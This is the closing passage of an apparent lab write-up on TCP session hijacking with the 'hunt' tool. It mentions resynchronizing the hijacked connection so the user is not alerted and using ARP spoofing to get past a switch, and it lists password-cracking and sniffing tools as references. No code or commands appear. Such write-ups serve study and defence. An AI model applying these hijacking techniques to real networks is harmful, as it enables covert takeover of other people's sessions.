From the original client's point of view, the session was "Closed by Foreign Host." With hunt we could also re-synchronize the original connection to prevent this message from being displayed and alerting the user. This should be enough to show the ease of shifting command prompts from one terminal to another using a session hijacking tool. The subject of a future experiment will use a third computer system on a non-packet switched network to conduct the attack. Actually, we could have utilized the ARP spoof daemon provided with hunt to bypass the switch's security features and continued with the attack from a third host. A short demonstration on ARP spoofing can be viewed here.

vii. References

[1]. @stake's L0phtCrack
[2]. Openwall.org's John The Ripper
[3]. Pavel Krauz's Hunt sniffer on PacketStorm